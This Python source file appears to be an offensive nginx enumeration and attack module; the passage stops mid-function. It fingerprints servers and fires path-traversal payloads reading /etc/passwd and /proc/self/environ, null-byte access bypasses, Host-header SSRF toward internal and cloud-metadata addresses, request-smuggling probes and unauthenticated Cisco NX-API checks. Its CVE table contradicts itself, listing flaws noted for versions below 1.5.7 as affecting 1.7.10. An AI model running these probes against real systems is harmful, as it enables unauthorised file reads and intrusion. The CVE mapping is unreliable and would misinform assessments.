#!/usr/bin/env python3 """ Nginx Enumeration Module — Ablation Targets: nginx HTTP servers CVE coverage for nginx 1.7.x: CVE-2013-4547 null byte in URI bypasses access/rewrite rules CVE-2014-0133 SPDY heap overflow (2 requests) CVE-2014-3556 STARTTLS command injection via mail proxy CVE-2014-0088 SPDY memory corruption (initial 1.5.x SPDY) Attack surfaces: stub_status /nginx_status — active conns, req/s (no ACL default) alias misconfig → path traversal (location /foo { alias /data/; }) proxy_pass variable backend $var → SSRF Host header virtual host confusion → default_server fallback HTTP smuggle Transfer-Encoding + Content-Length desync Synthesized from: NGINX HTTP Server 5e (9781788623551) NGINX HTTP Server (9781835469873) Nginx Troubleshooting (9781785288654) Mastering NGINX 2e (9781782173311) """ import re import socket import ssl import struct import time from typing import Optional from urllib.parse import urlparse # ── Constants ───────────────────────────────────────────────────────────────── STUB_STATUS_PATHS = [ '/nginx_status', '/status', '/server-status', '/nginx-status', '/_nginx_status', '/basic_status', ] # Common alias traversal payloads — probe for file read via alias misconfiguration # location /static { alias /data/; } → GET /static../etc/passwd reads /etc/passwd ALIAS_TRAVERSAL_PATHS = [ '../etc/passwd', '../etc/nginx/nginx.conf', '../etc/nginx/conf.d/default.conf', '../proc/self/environ', '../proc/version', ] # NX-API endpoints — Cisco Nexus serves these behind nginx 1.7.10 NXAPI_ENDPOINTS = [ '/ins', # NX-API REST/JSON-RPC '/api/v1', # REST API root '/api/node/mo', # managed object tree '/api/aaaLogin.json', # auth endpoint '/admin', '/doc', # often exposes NX-API docs ] # Paths checked by check_autoindex AUTOINDEX_PATHS = [ '/', '/images/', '/static/', '/assets/', '/uploads/', '/files/', '/backup/', '/backups/', '/tmp/', '/logs/', ] # Internal/status endpoints probed by check_internal_endpoint_exposure INTERNAL_PROBE_PATHS = [ '/internal/', '/admin/nginx_status', '/nginx_status', '/stub_status', '/metrics', '/healthz', '/ping', '/status', ] # Version-specific CVE data VERSION_CVES = { '1.7.10': [ { 'id': 'CVE-2013-4547', 'severity': 'HIGH', 'desc': 'Null byte in URI bypasses access controls and rewrite rules. ' 'Versions < 1.5.7. Allows bypass of auth restrictions.', 'exploit': 'GET /restricted.php%00.jpg', }, { 'id': 'CVE-2014-0133', 'severity': 'HIGH', 'desc': 'SPDY heap overflow via two crafted requests. ' 'Requires --with-http_spdy_module (non-default).', 'exploit': None, }, { 'id': 'CVE-2014-3556', 'severity': 'MEDIUM', 'desc': 'STARTTLS command injection in mail proxy module. ' 'Attacker-controlled EHLO pipelining before STARTTLS.', 'exploit': None, }, ], } # ── HTTP helpers ────────────────────────────────────────────────────────────── def _raw_http(host: str, port: int, request: bytes, use_tls: bool = True, timeout: float = 8.0) -> bytes: """Send raw bytes over TCP/TLS, return raw response bytes.""" try: sock = socket.create_connection((host, port), timeout=timeout) if use_tls: ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) sock.sendall(request) buf = b'' sock.settimeout(timeout) while True: try: chunk = sock.recv(4096) if not chunk: break buf += chunk if len(buf) > 512 * 1024: break except socket.timeout: break sock.close() return buf except Exception: return b'' def _http_get(host: str, port: int, path: str, headers: dict = None, use_tls: bool = True, timeout: float = 8.0) -> tuple: """ Returns (status_code: int, headers_dict: dict, body: bytes). Returns (0, {}, b'') on connection failure. """ hdrs = { 'Host': host if port in (80, 443) else f'{host}:{port}', 'User-Agent': 'Mozilla/5.0 (compatible)', 'Accept': '*/*', 'Connection': 'close', } if headers: hdrs.update(headers) hdr_lines = '\r\n'.join(f'{k}: {v}' for k, v in hdrs.items()) request = ( f'GET {path} HTTP/1.1\r\n' f'{hdr_lines}\r\n' '\r\n' ).encode() raw = _raw_http(host, port, request, use_tls=use_tls, timeout=timeout) if not raw: return 0, {}, b'' try: header_end = raw.index(b'\r\n\r\n') except ValueError: return 0, {}, raw header_raw = raw[:header_end].decode('utf-8', errors='replace') body = raw[header_end + 4:] lines = header_raw.split('\r\n') status_line = lines[0] try: status_code = int(status_line.split()[1]) except (IndexError, ValueError): status_code = 0 resp_headers = {} for line in lines[1:]: if ':' in line: k, _, v = line.partition(':') resp_headers[k.strip().lower()] = v.strip() return status_code, resp_headers, body # ── Stub status parser ──────────────────────────────────────────────────────── def _parse_stub_status(body: bytes) -> Optional[dict]: """ Parse nginx stub_status body: Active connections: 4 server accepts handled requests 12 12 14 Reading: 0 Writing: 1 Waiting: 3 """ text = body.decode('utf-8', errors='replace') out = {} m = re.search(r'Active connections:\s*(\d+)', text) if m: out['active_connections'] = int(m.group(1)) m = re.search(r'(\d+)\s+(\d+)\s+(\d+)', text) if m: out['accepts'] = int(m.group(1)) out['handled'] = int(m.group(2)) out['requests'] = int(m.group(3)) m = re.search(r'Reading:\s*(\d+)\s+Writing:\s*(\d+)\s+Waiting:\s*(\d+)', text) if m: out['reading'] = int(m.group(1)) out['writing'] = int(m.group(2)) out['waiting'] = int(m.group(3)) return out if out else None # ── Version fingerprint ─────────────────────────────────────────────────────── def _extract_version(headers: dict, body: bytes) -> Optional[str]: """ Extract nginx version from Server header or error page. server_tokens on (default) → 'nginx/1.7.10' server_tokens off → 'nginx' (no version) """ server = headers.get('server', '') m = re.search(r'nginx/(\d+\.\d+(?:\.\d+)?)', server) if m: return m.group(1) # Fallback: error page body body_str = body.decode('utf-8', errors='replace') m = re.search(r'nginx/(\d+\.\d+(?:\.\d+)?)', body_str) if m: return m.group(1) if 'nginx' in server.lower(): return 'unknown (server_tokens off)' return None # ── HTTP request smuggling probe ────────────────────────────────────────────── def _probe_http_smuggling(host: str, port: int, use_tls: bool = True) -> dict: """ TE.CL desync probe: send ambiguous Transfer-Encoding + Content-Length. Safe probe — does not send a poisoned body, just checks if server accepts chunked + Content-Length simultaneously (indicator of desync susceptibility). """ # Craft a request with both TE and CL set — RFC-violating request = ( f'POST / HTTP/1.1\r\n' f'Host: {host}\r\n' 'Transfer-Encoding: chunked\r\n' 'Content-Length: 6\r\n' 'Connection: close\r\n' '\r\n' '0\r\n' '\r\n' ).encode() raw = _raw_http(host, port, request, use_tls=use_tls, timeout=6.0) if not raw: return {'tested': False, 'reason': 'no response'} text = raw.decode('utf-8', errors='replace') # If we get a 4xx with "400 Bad Request", the server correctly rejected it # If we get 200/405, the server processed without rejecting the ambiguity if '400' in text[:100]: return {'tested': True, 'susceptible': False, 'response': '400 (rejected)'} elif any(c in text[:100] for c in ['200', '301', '302', '405']): return {'tested': True, 'susceptible': True, 'response': text.split('\r\n')[0], 'note': 'Server accepted TE+CL — potential desync surface'} return {'tested': True, 'susceptible': None, 'response': text[:60]} # ── SSRF via proxy_pass probe ───────────────────────────────────────────────── def _probe_proxy_ssrf(host: str, port: int, paths: list = None, use_tls: bool = True) -> list: """ Probe proxy_pass endpoints that may accept arbitrary Host values, indicating upstream forwarding without validation. Also probes internal network targets via X-Forwarded-For injection. """ if not paths: paths = ['/api/', '/proxy/', '/forward/', '/backend/'] results = [] ssrf_payloads = [ ('localhost', '127.0.0.1:8080 (loopback SSRF)'), ('169.254.169.254', '169.254.169.254 (cloud metadata SSRF)'), ('10.0.0.1', '10.0.0.1 (RFC1918 internal SSRF)'), ] for path in paths: code, hdrs, body = _http_get(host, port, path, use_tls=use_tls) if code == 0: continue # Check if the path proxies requests — look for X-Powered-By, Via, etc. via = hdrs.get('via', '') x_powered = hdrs.get('x-powered-by', '') if via or x_powered or code in (200, 502, 503): for ssrf_host, label in ssrf_payloads: code2, hdrs2, body2 = _http_get( host, port, path, headers={'Host': ssrf_host, 'X-Forwarded-For': ssrf_host}, use_tls=use_tls, ) if code2 not in (0, 400, 403): results.append({ 'path': path, 'ssrf_target': label, 'status': code2, 'via': via, }) return results # ── Alias traversal probe ───────────────────────────────────────────────────── def _probe_alias_traversal(host: str, port: int, base_paths: list = None, use_tls: bool = True) -> list: """ Alias misconfiguration → path traversal. location /static { alias /data/; } ← missing trailing slash on location GET /static../etc/passwd → reads /data/../etc/passwd = /etc/passwd Cisco NX-API nginx: probe /api../etc/passwd, /ins../etc/passwd, etc. """ if not base_paths: base_paths = ['/static', '/api', '/ins', '/media', '/files', '/assets'] results = [] for base in base_paths: for traversal in ALIAS_TRAVERSAL_PATHS: path = f'{base}../{traversal}' code, hdrs, body = _http_get(host, port, path, use_tls=use_tls) if code == 200 and body: body_str = body[:512].decode('utf-8', errors='replace') # Confirm it's a real file read, not a 200 fallback if any(sig in body_str for sig in [ 'root:x:', 'daemon:', 'nobody:', # /etc/passwd 'worker_processes', 'http {', # nginx.conf 'HTTP_HOST', 'SERVER_NAME', # environ 'Linux version', # /proc/version ]): results.append({ 'path': path, 'status': 200, 'severity': 'CRITICAL', 'type': 'ALIAS_TRAVERSAL', 'excerpt': body_str[:200], }) return results # ── Host header virtual host confusion ──────────────────────────────────────── def _probe_host_header(host: str, port: int, use_tls: bool = True) -> dict: """ Probe virtual host confusion: - No matching server_name → falls to default_server (potentially different app) - Blind injection of internal hostnames """ results = {} # Baseline with correct host code_base, hdrs_base, body_base = _http_get(host, port, '/', use_tls=use_tls) results['baseline'] = {'status': code_base, 'server': hdrs_base.get('server', '')} # Probe with garbage Host header — should get same as default_server code_junk, hdrs_junk, body_junk = _http_get( host, port, '/', headers={'Host': 'not.a.real.hostname.invalid'}, use_tls=use_tls, ) results['junk_host'] = {'status': code_junk} # Probe with internal names — Cisco NX-API internal routing for internal_host in ['localhost', '127.0.0.1', 'nxapi', 'management']: code_i, hdrs_i, body_i = _http_get( host, port, '/', headers={'Host': internal_host}, use_tls=use_tls, ) if code_i != 0 and code_i != code_base: results[f'internal_{internal_host}'] = { 'status': code_i, 'diff_from_baseline': True, 'note': f'Host: {internal_host} → different response', } return results # ── CVE assessment ──────────────────────────────────────────────────────────── def _assess_cves(version: str) -> list: """Return applicable CVEs for detected nginx version.""" if not version or version.startswith('unknown'): # Can't determine version — return all known 1.7.x CVEs as candidates return VERSION_CVES.get('1.7.10', []) findings = [] parts = version.split('.') try: major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2]) if len(parts) > 2 else 0 except (ValueError, IndexError): return [] # CVE-2013-4547: affects < 1.5.7 if (major == 1 and minor < 5) or (major == 1 and minor == 5 and patch < 7): findings.append(VERSION_CVES['1.7.10'][0]) # CVE-2014-0133: SPDY heap, affects 1.3.15-1.5.11 if major == 1 and ((minor == 3 and patch >= 15) or (4 <= minor <= 4) or (minor == 5 and patch <= 11)): findings.append(VERSION_CVES['1.7.10'][1]) # If version is 1.7.10 exactly — all three CVEs applicable if major == 1 and minor == 7 and patch == 10: return VERSION_CVES['1.7.10'] return findings # ── Null byte probe (CVE-2013-4547) ────────────────────────────────────────── def _probe_null_byte(host: str, port: int, use_tls: bool = True) -> dict: """ CVE-2013-4547: null byte (%00) in URI bypasses access control directives. In nginx < 1.5.7, location matching uses C-string semantics — null terminates. GET /protected.php%00.jpg → nginx sees /protected.php%00, matches no deny block. """ payloads = [ '/nginx_status%00.jpg', '/api%00.jpg', '/.git%00.txt', ] results = [] for path in payloads: # Send raw — URL encoding must stay encoded request = ( f'GET {path} HTTP/1.1\r\n' f'Host: {host}\r\n' 'User-Agent: Mozilla/5.0\r\n' 'Connection: close\r\n' '\r\n' ).encode() raw = _raw_http(host, port, request, use_tls=use_tls) if not raw: continue status_line = raw.split(b'\r\n')[0].decode('utf-8', errors='replace') try: code = int(status_line.split()[1]) except (IndexError, ValueError): continue if code not in (400, 404, 403): results.append({ 'path': path, 'status': code, 'note': 'Unexpected status — potential CVE-2013-4547 bypass', }) return {'probed': True, 'hits': results} # ── NX-API endpoint enumeration ─────────────────────────────────────────────── def _enum_nxapi_endpoints(host: str, port: int, use_tls: bool = True) -> list: """ Enumerate NX-API endpoints served behind nginx 1.7.10 on Cisco Nexus. Returns accessible endpoints with status + response snippet. """ results = [] for path in NXAPI_ENDPOINTS: code, hdrs, body = _http_get(host, port, path, use_tls=use_tls) if code == 0: continue body_snippet = body[:256].decode('utf-8', errors='replace') if body else '' content_type = hdrs.get('content-type', '') entry = { 'path': path, 'status': code, 'content_type': content_type, } # Flag accessible NX-API surfaces if code in (200, 401, 405): entry['accessible'] = True entry['snippet'] = body_snippet # Unauth NX-API response detection if code == 200 and any(k in body_snippet for k in [ '"ins_api"', 'nxapi', 'NX-API', '"version"', 'Cisco' ]): entry['severity'] = 'HIGH' entry['type'] = 'NXAPI_UNAUTH' entry['note'] = 'NX-API endpoint responded without auth' results.append(entry) return results # ── Main enumerator class ───────────────────────────────────────────────────── class NginxEnumerator: """ Nginx fingerprint, stub_status probe, CVE check, and attack surface enumeration. """ def __init__(self, host: str, port: int = 443, use_tls: bool = True, timeout: float = 8.0): self.host = host self.port = port self.use_tls = use_tls self.timeout = timeout self.findings = [] self._version = None self._stub_status = None # ── internal finding builder ────────────────────────────────────────────── def _add(self, severity: str, ftype: str, desc: str, detail: str = '', exploit: str = '', source: str = ''): self.findings.append({ 'severity': severity, 'type': ftype, 'description': desc, 'detail': detail, 'exploit': exploit, 'source': source or f'{self.host}:{self.port}', }) # ── fingerprint ─────────────────────────────────────────────────────────── def fingerprint(self) -> dict: """GET / and a 404 — extract Server header version, check server_tokens.""" code, hdrs, body = _http_get( self.host, self.port, '/', use_tls=self.use_tls, timeout=self.timeout, ) if code == 0: return {'reachable': False} version = _extract_version(hdrs, body) self._version = version server_hdr = hdrs.get('server', '') tokens_on = bool(re.search(r'nginx/\d', server_hdr)) result = { 'reachable': True, 'status': code, 'server_header': server_hdr, 'version': version, 'server_tokens_on': tokens_on, 'headers': {k: v for k, v in hdrs.items() if k in ('server', 'x-powered-by', 'via', 'x-nginx-upstream')}, } if tokens_on and version: self._add( 'INFO', 'VERSION_DISCLOSURE', f'Server header exposes nginx/{version}', detail=f'Server: {server_hdr}', exploit='Version-specific CVE targeting', ) return result # ── stub_status ─────────────────────────────────────────────────────────── def probe_stub_status(self) -> dict: """Probe all stub_status paths for unprotected metrics endpoint.""" for path in STUB_STATUS_PATHS: code, hdrs, body = _http_get( self.host, self.port, path, use_tls=self.use_tls, timeout=self.timeout, ) if code == 200 and body: parsed = _parse_stub_status(body) if parsed: self._stub_status = parsed self._add( 'MEDIUM', 'STUB_STATUS_EXPOSED', f'nginx stub_status accessible at {path}', detail=str(parsed), exploit=f'GET https://{self.host}{path}', ) return { 'found': True, 'path': path, 'data': parsed, 'raw': body.decode('utf-8', errors='replace')[:256], } return {'found': False, 'paths_probed': STUB_STATUS_PATHS} # ── CVE check ───────────────────────────────────────────────────────────── def check_cves(self) -> list: """Assess CVEs for detected nginx version.""" cves = _assess_cves(self._version) for cve in cves: self._add( cve['severity'], 'CVE', f'{cve["id"]}: {cve["desc"]}', exploit=cve.get('exploit') or '', source=f'{self.host}:{self.port}', ) return cves # ── null byte ───────────────────────────────────────────────────────────── def probe_null_byte(self) -> dict: return _probe_null_byte(self.host, self.port, use_tls=self.use_tls) # ── alias traversal ─────────────────────────────────────────────────────── def probe_alias_traversal(self) -> list: hits = _probe_alias_traversal(self.host, self.port, use_tls=self.use_tls) for h in hits: self._add( h['severity'], h['type'], f'Alias path traversal: {h["path"]}', detail=h.get('excerpt', ''), exploit=f'GET https://{self.host}{h["path"]}', ) return hits # ── SSRF ────────────────────────────────────────────────────────────────── def probe_ssrf(self) -> list: hits = _probe_proxy_ssrf(self.host, self.port, use_tls=self.use_tls) for h in hits: self._add( 'HIGH', 'PROXY_SSRF', f'proxy_pass SSRF via {h["path"]} → {h["ssrf_target"]}', detail=str(h), exploit=f'GET {h["path"]} Host: {h["ssrf_target"]}', ) return hits # ── Host header ─────────────────────────────────────────────────────────── def probe_host_header(self) -> dict: return _probe_host_header(self.host, self.port, use_tls=self.use_tls) # ── HTTP smuggling ──────────────────────────────────────────────────────── def probe_smuggling(self) -> dict: result = _probe_http_smuggling(self.host, self.port, use_tls=self.use_tls) if result.get('susceptible'): self._add( 'HIGH', 'HTTP_SMUGGLING', 'Server accepted TE+CL simultaneously — desync surface', detail=str(result), exploit='TE.CL desync: Transfer-Encoding: chunked + Content-Length', ) return result # ── NX-API endpoints ────────────────────────────────────────────────────── def enum_nxapi(self) -> list: endpoints = _enum_nxapi_endpoints(self.host, self.port, use_tls=self.use_tls) for ep in endpoints: if ep.get('severity') == 'HIGH': self._add( 'HIGH', ep['type'], ep.get('note', ''), detail=ep.get('snippet', ''), exploit=f'GET https://{self.host}{ep["path"]}', ) return endpoints # ── check_server_tokens ─────────────────────────────────────────────────── def check_server_tokens(self) -> list: """ Probe Server header for nginx version string. - Full version visible → LOW (version disclosure) - version < 1.18.0 → MEDIUM + CVE-2019-20372 (HTTP/2 error_page SSRF) - version < 1.20.1 → HIGH + CVE-2021-23017 (DNS resolver overflow) """ findings = [] code, hdrs, body = _http_get( self.host, self.port, '/', use_tls=self.use_tls, timeout=self.timeout, ) if code == 0: return findings server = hdrs.get('server', '') version = _extract_version(hdrs, body) # No version string exposed — server_tokens off or not nginx if not version or version.startswith('unknown'): return findings # Parse version tuple parts = version.split('.') try: major = int(parts[0]) minor = int(parts[1]) patch = int(parts[2]) if len(parts) > 2 else 0 except (ValueError, IndexError): major, minor, patch = 0, 0, 0 # Map version to CVE cve_id = None severity = 'LOW' title = f'nginx version disclosure via Server header (nginx/{version})' # CVE-2021-23017: 0.6.18 <= version <= 1.20.0 — DNS resolver 1-byte overflow # Check HIGH range first (wider blast radius) if (major == 1 and (minor < 20 or (minor == 20 and patch == 0))) or \ (major == 0 and (minor > 6 or (minor == 6 and patch >= 18))): severity = 'HIGH' cve_id = 'CVE-2021-23017' title = (f'nginx/{version} in CVE-2021-23017 range — ' f'DNS resolver 1-byte overflow via crafted UDP response') # CVE-2019-20372: affects 1.9.5-1.17.6 (< 1.18.0) elif major == 1 and minor < 18: severity = 'MEDIUM' cve_id = 'CVE-2019-20372' title = (f'nginx/{version} in CVE-2019-20372 range — ' f'HTTP/2 error_page SSRF (server-side request forgery)') f = { 'severity': severity, 'title': title, 'detail': f'Server: {server}', 'host': self.host, 'port': self.port, 'cve': cve_id, } findings.append(f) self._add( severity, 'SERVER_TOKENS', title, detail=f'Server: {server}', exploit='Version-targeted CVE exploitation' if cve_id else 'Version fingerprinting', ) # Cache version for downstream methods if not self._version: self._version = version return findings # ── check_autoindex ─────────────────────────────────────────────────────── def check_autoindex(self) -> list: """ Probe common directories for autoindex on (directory listing). Signature: '